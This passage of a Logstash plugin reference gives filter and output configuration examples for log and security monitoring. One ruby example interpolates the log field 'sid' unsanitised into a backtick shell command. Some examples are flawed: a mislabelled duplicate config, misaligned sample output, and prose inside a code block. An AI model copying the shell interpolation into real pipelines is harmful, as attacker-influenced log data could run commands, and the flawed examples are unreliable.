1161 | ```javascript
1162 | filter {
1163 | mutate {
1164 | add_tag => "pci"
1165 | }
1166 | }
1167 | ```
1168 |
1169 | This example config adds a tag called pci and critical_asset:
1170 | ```javascript
1171 | filter {
1172 | mutate {
1173 | add_tag => [ "pci", "critical_asset" ]
1174 | }
1175 | }
1176 | ```
1177 |
1178 | #### Convert a field type (integer, float, string, boolean)
1179 | This example config converts the field source_port to a integer:
1180 | ```javascript
1181 | filter {
1182 | mutate {
1183 | convert => [ "source_port", "integer" ]
1184 | }
1185 | }
1186 | ```
1187 |
1188 | #### String Replacement (gsub)
1189 | This example config replaces "= " with "=na " in the syslog_message field:
1190 | ```javascript
1191 | filter {
1192 | mutate {
1193 | gsub => [ "syslog_message", "= ", "=na " ]
1194 | }
1195 | }
1196 | ```
1197 |
1198 | #### Add unique ID
1199 | This example config adds a unique ID to a log into a field called unique_id:
1200 | ```javascript
1201 | filter {
1202 | mutate {
1203 | id => "unique_id"
1204 | }
1205 | }
1206 | ```
1207 |
1208 | #### lowercase all text
1209 | This example config lowercases all letters in the syslog_message field:
1210 | ```javascript
1211 | filter {
1212 | mutate {
1213 | lowercase => [ "syslog_message" ]
1214 | }
1215 | }
1216 | ```
1217 |
1218 | #### Remove unwanted/redundant field(s)
1219 | This example config removes the syslog_message field:
1220 | ```javascript
1221 | filter {
1222 | mutate {
1223 | remove_field => [ "syslog_message" ]
1224 | }
1225 | }
1226 | ```
1227 |
1228 | #### Remove tag(s)
1229 | This example config removes the alert tag:
1230 | ```javascript
1231 | filter {
1232 | mutate {
1233 | remove_tag => [ "alert" ]
1234 | }
1235 | }
1236 | ```
1237 |
1238 | #### Rename / Standardize field name(s)
1239 | This example config renames the src_ip field to source_ip:
1240 | ```javascript
1241 | filter {
1242 | mutate {
1243 | rename => [ "src_ip", "source_ip" ]
1244 | }
1245 | }
1246 | ```
1247 |
1248 | **Standardizing field names is CRITICAL**
1249 |
1250 | #### Replace a field's value
1251 | This example config replaces the value of host to 172.16.0.2:
1252 | ```javascript
1253 | filter {
1254 | mutate {
1255 | replace => { "host" => "172.16.0.2" }
1256 | }
1257 | }
1258 | ```
1259 |
1260 | #### Remove whitespace from beginning and end of field
1261 | This example config removes whitespace from the beginning and end of the syslog_message field:
1262 | ```javascript
1263 | filter {
1264 | mutate {
1265 | strip => [ "syslog_message" ]
1266 | }
1267 | }
1268 | ```
1269 |
1270 | #### uppercase all text
1271 | This example config uppercase all letters in the syslog_message field:
1272 | ```javascript
1273 | filter {
1274 | mutate {
1275 | uppercase => [ "syslog_message" ]
1276 | }
1277 | }
1278 | ```
1279 |
1280 | ---------
1281 | ### rest
1282 | The **rest** plugin is a community filter plugin used to submit a web based REST request. It is used to query APIs or websites using data from a log. This plugin can be very powerful when used properly.
1283 |
1284 | #### Recommended use cases:
1285 |
1286 | - Entropy (randomness checking) of key fields in conjunction with freq_server.py
1287 | - DNS top 1 million checking in conjunction with domain_stats.py
1288 | - WHOIS creation date lookups in conjunction with domain_stats.py
1289 |
1290 | This example configuration is used get the entropy score of a DNS domain using the highest_registered_domain field's value (requires freq_server.py listening on 10004):
1291 | ```javascript
1292 | filter {
1293 | rest {
1294 | request => {
1295 | url => "http://localhost:10004/measure/%{highest_registered_domain}"
1296 | }
1297 | sprintf => true
1298 | json => false
1299 | target => "domain_frequency_score"
1300 | }
1301 | if [domain_frequency_score] {
1302 | mutate {
1303 | convert => [ "domain_frequency_score", "float" ]
1304 | }
1305 | }
1306 | }
1307 | ```
1308 |
1309 | This example configuration is used to find out the creation date of the highest_registered_domain value (requires domain_stats.py listening on 20000):
1310 | ```javascript
1311 | filter {
1312 | rest {
1313 | request => {
1314 | url => "http://localhost:20000/alexa/%{highest_registered_domain}"
1315 | }
1316 | sprintf => true
1317 | json => false
1318 | target => "site"
1319 | }
1320 | if [site] != "0" and [site] {
1321 | mutate {
1322 | add_tag => [ "top-1m" ]
1323 | remove_field => [ "site" ]
1324 | }
1325 | }
1326 | }
1327 | ```
1328 |
1329 | This example configuration is used to find out if the highest_registered_domain value is a top 1 million site (requires domain_stats.py listening on 20000):
1330 | ```javascript
1331 | filter {
1332 | rest {
1333 | request => {
1334 | url => "http://localhost:20000/alexa/%{highest_registered_domain}"
1335 | }
1336 | sprintf => true
1337 | json => false
1338 | target => "site"
1339 | }
1340 | if [site] != "0" and [site] {
1341 | mutate {
1342 | add_tag => [ "top-1m" ]
1343 | remove_field => [ "site" ]
1344 | }
1345 | }
1346 | }
1347 | ```
1348 |
1349 | ---------
1350 | ### ruby
1351 | The **ruby** plugin is a filter plugin that allows raw programming logic. It allows invoking ruby to programmatically interact with fields and field data.
1352 |
1353 | #### Recommended use cases:
1354 |
1355 | - Calculate field length
1356 | - Perform mathmatic calculations
1357 | - Calculate how long Logstash takes to do something
1358 |
1359 | This example configuration is used to calculate the field length of a field called certificate_common_name and to store it in a field called certificate_common_name_length:
1360 | ```javascript
1361 | filter {
1362 | ruby {
1363 | code => "event['certificate_common_name_length'] = event['certificate_common_name'].length;"
1364 | }
1365 | }
1366 | ```
1367 |
1368 | This example configuration is used to calculate the number of days a certificate is valid by substracting the certificate_not_valid_after field from the certificate_not_valid_before field and then rounding the valid to an integer:
1369 | ```javascript
1370 | filter {
1371 | ruby {
1372 | code => "event['certificate_number_days_valid'] = ((event['certificate_not_valid_after'] - event['certificate_not_valid_before']) / 86400).ceil;"
1373 | }
1374 | }
1375 | ```
1376 |
1377 | This example decodes a base64 value stored in a field called possible_base64_code:
1378 | ```javascript
1379 | filter {
1380 | ruby {
1381 | init => "require 'base64'"
1382 | code => "a = Base64.decode64(event['possible_base64_code']);
1383 | event['base64_decoded'] = a;"
1384 | }
1385 | }
1386 | ```
1387 |
1388 | This example extracts every instance of PowerShell cmdlets being used in EventID 4103 by using scan:
1389 | ```javascript
1390 | filter {
1391 | if [Payload] and [EventID] == 4103 and [SourceName] == "Microsoft-Windows-PowerShell" {
1392 | ruby {
1393 | code => "event['cmdlets'] = event['Payload'].downcase.scan(/commandinvocation\(([a-z0-9-]+)\)/)"
1394 | }
1395 | }
1396 | }
1397 | ```
1398 |
1399 |
1400 | This example configuration is used to calculate how long it takes Logstash to process something:
1401 | ```javascript
1402 | filter {
1403 | ruby {
1404 | code => "event['task_start'] = Time.now.to_f;"
1405 | }
1406 | Then do something...
1407 | ruby {
1408 | code => "event['task_end'] = Time.now.to_f;"
1409 | }
1410 | ruby {
1411 | code => "event['logstash_time'] = event['task_end'] - event['task_start']"
1412 | }
1413 | mutate {
1414 | remove_field => [ 'task_start', 'task_end' ]
1415 | }
1416 | }
1417 | ```
1418 |
1419 | The overhead of calculating logstash_time is nominal. This likely can be left on.
1420 |
1421 |
1422 | This example configuration is used to calculate the ratio of bytes uploaded vs bytes downloaded using flow data:
1423 | ```javascript
1424 | filter {
1425 | ruby {
1426 | code => "event['byte_ratio_client'] = event['bytes_to_client'].to_f / event['bytes_to_server'].to_f"
1427 | }
1428 | ruby {
1429 | code => "event['byte_ratio_server'] = 1 - event['byte_ratio_client']"
1430 | }
1431 | }
1432 | ```
1433 |
1434 | This example configuration is used to take an IDS alerts SID # and use it to retrieve the IDS rule it belongs to and append that rule to the alert:
1435 | ```javascript
1436 | filter {
1437 | if [gid] == 1 and [sid] {
1438 | ruby {
1439 | code => "sid = event['sid']; event['rule'] = `cat /etc/nsm/rules/*.rules | grep sid:#{sid} | head -n1`;"
1440 | }
1441 | }
1442 | }
1443 | ```
1444 |
1445 | ---------
1446 | ### syslog_pri
1447 | The **syslog_pri** plugin is a filter plugin used to automatically parse the syslog pri field into severity and priority fields.
1448 |
1449 | This is an example configuration using the default message field:
1450 | ```javascript
1451 | filter {
1452 | syslog_pri { }
1453 | }
1454 | ```
1455 |
1456 | This is an example configuration using a field called syslog_pri:
1457 | ```javascript
1458 | filter {
1459 | syslog_pri {
1460 | source => "syslog_pri"
1461 | }
1462 | }
1463 | ```
1464 |
1465 | ---------
1466 | ### tld
1467 | The **tld** plugin is a filter plugin used to take a DNS name and break it up into corresponding pieces. For example, www.google.com would become:
1468 |
1469 | **highest_registered_domain** = google.com
1470 | **sub_domain** = www
1471 | **parent_domain** = google
1472 | **top_level_domain** == com
1473 |
1474 | This is an example configuration of using tld against a field called query:
1475 | ```javascript
1476 | filter {
1477 | tld {
1478 | source => "query"
1479 | }
1480 | mutate {
1481 | rename => { "[tld][domain]" => "highest_registered_domain" }
1482 | rename => { "[tld][trd]" => "sub_domain" }
1483 | rename => { "[tld][tld]" => "top_level_domain" }
1484 | rename => { "[tld][sld]" => "parent_domain" }
1485 | }
1486 | }
1487 | ```
1488 |
1489 | ---------
1490 | ### translate
1491 | The **translate** plugin is a filter plugin used to take a field and look up a value based on it in a file or provided array of values.
1492 |
1493 | This is an example configuration that takes the value of destination_port and does a lookup of its value in /lib/dictionaries/iana_services.yaml:
1494 | ```javascript
1495 | filter {
1496 | translate {
1497 | field => "[destination_port]"
1498 | destination => "[destination_service]"
1499 | dictionary_path => "/lib/dictionaries/iana_services.yaml"
1500 | }
1501 | }
1502 | ```
1503 |
1504 | This could help take a destination_port of 80 and use it to add a field called destination_service with a value of HTTP.
1505 |
1506 |
1507 | Output Plugins
1508 | ---------
1509 | - [stdout](#stdout)
1510 | - [elasticsearch](#output_elasticsearch)
1511 | - [file](#output_file)
1512 | - [rabbitmq](#output_rabbitmq)
1513 | - [kafka](#output_kafka)
1514 | - [tcp](#output_tcp)
1515 | - [udp](#output_udp)
1516 |
1517 | ---------
1518 | ### stdout
1519 | The **stdout** plug is an output plugin used to output to the screen. It is useful for troubleshooting or testing.
1520 |
1521 | This example configuration is used to output to the screen with pretty markup. This is the most common way to invoke **stdout** and is probably what you want to use.
1522 | ```javascript
1523 | output {
1524 | stdout { codec => rubydebug }
1525 | }
1526 | ```
1527 |
1528 | Using the above configuration will display output similar to this:
1529 | ```bash
1530 | {
1531 | "message" => "2017-07-25T17:49:37.356Z sec-555-linux 1496523628.328546\tCfnUMi23OlkVdjx0Wi\t10.0.1.11\t38938\t10.0.0.10\t53\tudp\t46693\t0.001092\tlogingest.test.int\t1\tC_INTERNET1\tA\t0\tNOERROR\tT\tF\tTT0\t172.16.1.10\t3600.000000\tF",
1532 | "@version" => "1",
1533 | "@timestamp" => "2017-07-25T17:50:10.710Z",
1534 | "host" => "sec-555-linux",
1535 | "timestamp" => "2017-07-25T17:49:37.356Z sec-555-linux 1496523628.328546",
1536 | "uid" => "CfnUMi23OlkVdjx0Wi",
1537 | "source_ip" => "10.0.1.11",
1538 | "source_port" => "38938",
1539 | "destination_ip" => "10.0.0.10",
1540 | "destination_port" => "53",
1541 | "protocol" => "udp",
1542 | "transaction_id" => "46693",
1543 | "rtt" => "0.001092",
1544 | "query" => "logingest.test.int",
1545 | "query_class" => "1",
1546 | "query_class_name" => "C_INTERNET1",
1547 | "query_type" => "A",
1548 | "query_type_name" => "0",
1549 | "rcode" => "NOERROR",
1550 | "rcode_name" => "T",
1551 | "aa" => "F",
1552 | "tc" => "TT0",
1553 | "rd" => "172.16.1.10",
1554 | "ra" => "3600.000000",
1555 | "z" => "F"
1556 | }
1557 | ```
1558 |
1559 | The alternative way to run **stdout** is to just invoke it such as in this configuration:
1560 | ```javascript
1561 | output {
1562 | stdout { }
1563 | }
1564 | ```
1565 |
1566 | However, the output is not user friendly and will look like this:
1567 |
1568 | ```bash
1569 | 2017-07-25T17:49:37.356Z sec-555-linux 1496523628.328546 CfnUMi23OlkVdjx0Wi 10.0.1.11 38938 10.0.0.10 53 udp 46693 0.001092 logingest.test.int 1 C_INTERNET1 A 0 NOERROR T F TT0 172.16.1.10 3600.000000 F
1570 | ```
1571 |
1572 | ### output_elasticsearch
1573 | The **elasticsearch** plugin is an output plugin used to send logs to an Elasticsearch index.
1574 |
1575 | This example configuration is used to send logs to an index for Windows logs:
1576 | ```javascript
1577 | output {
1578 | elasticsearch {
1579 | index => "logstash-windows-%{+YYYY.MM.dd}"
1580 | }
1581 | }
1582 | ```
1583 |
1584 | This example configuration shows dynamically routing logs to varies Elasticsearch indexes:
1585 | ```javascript
1586 | output {
1587 | if [type] == "windows" {
1588 | elasticsearch {
1589 | index => "logstash-windows-%{+YYYY.MM.dd}"
1590 | }
1591 | }
1592 | if [type] == "alert" {
1593 | elasticsearch {
1594 | index => "logstash-alert"
1595 | }
1596 | }
1597 | if "syslog" == [tags] {
1598 | elasticsearch {
1599 | index => "logstash-syslog-%{+YYYY.MM.dd}"
1600 | }
1601 | }
1602 | }
1603 | ```
1604 |
1605 | ---------
1606 | ### output_file
1607 | The **file** output plugin is an output plugin used to send logs to a file.
1608 |
1609 | This example configuration is used to send logs to a file called /home/student/logs.json:
1610 | ```javascript
1611 | output {
1612 | file {
1613 | path => "/home/student/logs.json"
1614 | }
1615 | }
1616 | ```
1617 |
1618 | It is possible to output logs to other file formats such as CSV. For CSV, use the **csv** output plugin.
1619 |
1620 | ---------
1621 | ### output_rabbitmq
1622 | The **rabbitmq** output plugin is an output plugin used to send logs to RabbitMQ which is a third party message broker/log buffer.
1623 |
1624 | This example configuration is used to send logs to an exchange for Windows logs:
1625 | ```javascript
1626 | output {
1627 | rabbitmq {
1628 | key => "routing_key_goes_here"
1629 | exchange => "windows"
1630 | exchange_type => "direct"
1631 | user => "user_name_goes_here"
1632 | password => "password_goes_here"
1633 | host => "rabbitmq_hostname_goes_here"
1634 | port => 5672
1635 | durable => true
1636 | persistent => true
1637 | }
1638 | }
1639 | ```
1640 |
1641 | It is a good practice to route logs to various queues so that you can monitor and troubleshoot them individually. This is an example of doing so:
1642 |
1643 | ```javascript
1644 | output {
1645 | if [type] == "windows" {
1646 | rabbitmq {
1647 | key => "routing_key_goes_here"
1648 | exchange => "windows"
1649 | exchange_type => "direct"
1650 | user => "user_name_goes_here"
1651 | password => "password_goes_here"
1652 | host => "rabbitmq_hostname_goes_here"
1653 | port => 5672
1654 | durable => true
1655 | persistent => true
1656 | }
1657 | }
1658 | if "syslog" in [tags] {
1659 | rabbitmq {
1660 | key => "routing_key_goes_here"
1661 | exchange => "syslog"
1662 | exchange_type => "direct"
1663 | user => "user_name_goes_here"
1664 | password => "password_goes_here"
1665 | host => "rabbitmq_hostname_goes_here"
1666 | port => 5672
1667 | durable => true
1668 | persistent => true
1669 | }
1670 | }
1671 | }
1672 | ```
1673 |
1674 | ---------
1675 | ### output_kafka
1676 | The **kafka** output plugin is an output plugin used to send logs to Kafka which is a third party message broker/log buffer.
1677 |
1678 | This example configuration is used to send logs to a topic for Windows logs:
1679 | ```javascript
1680 | output {
1681 | kafka {
1682 | bootstrap_servers => "kafka_server_name_goes_here:9092"
1683 | topic_id => "syslog"
1684 | }
1685 | }
1686 | ```
1687 |
1688 | It is a good practice to route logs to various topics so that you can monitor and troubleshoot them individually. This is an example of doing so:
1689 |
1690 | ```javascript
1691 | output {
1692 | if [type] == "windows" {
1693 | kafka {
1694 | bootstrap_servers => "kafka_server_name_goes_here:9092"
1695 | topic_id => "windows"
1696 | }
1697 | }
1698 | if "syslog" in [tags] {
1699 | kafka {
1700 | bootstrap_servers => "kafka_server_name_goes_here:9092"
1701 | topic_id => "syslog"
1702 | }
1703 | }
1704 | }
1705 | ```
1706 |
1707 | ---------
1708 | ### output_tcp
1709 | The **tcp** output plugin is an output plugin used to send logs to a remote logging host. It can be used to send logs from Logstash to a commercial SIEM.
1710 |
1711 | This example configuration is used to send logs to a remote host over TCP port 5000
1712 | ```javascript
1713 | output {
1714 | tcp {
1715 | host => "dns_name_or_ip_address_goes_here"
1716 | port => 5000
1717 | }
1718 | }
1719 | ```
1720 |
1721 | This example configuration is used to send logs with a type of **alert** to a remote host over TCP port 5000
1722 | ```javascript
1723 | output {
1724 | if [type] == "alert" {
1725 | tcp {
1726 | host => "dns_name_or_ip_address_goes_here"
1727 | port => 5000
1728 | }
1729 | }
1730 | }
1731 | ```
1732 |
1733 | ---------
1734 | ### output_udp
1735 | The **udp** output plugin is an output plugin used to send logs to a remote logging host. It can be used to send logs from Logstash to a commercial SIEM.
1736 |
1737 | This example configuration is used to send logs to a remote host over UDP port 5000
1738 | ```javascript
1739 | output {
1740 | udp {
1741 | host => "dns_name_or_ip_address_goes_here"
1742 | port => 5000
1743 | }
1744 | }
1745 | ```
1746 |
1747 | This example configuration is used to send logs with a type of **alert** to a remote host over UDP port 5000
1748 | ```javascript
1749 | output {
1750 | if [type] == "alert" {
1751 | udp {
1752 | host => "dns_name_or_ip_address_goes_here"
1753 | port => 5000
1754 | }
1755 | }
1756 | }
1757 | ```
1758 |
1759 | Additional Info
1760 | --------------
1761 |
--------------------------------------------------------------------------------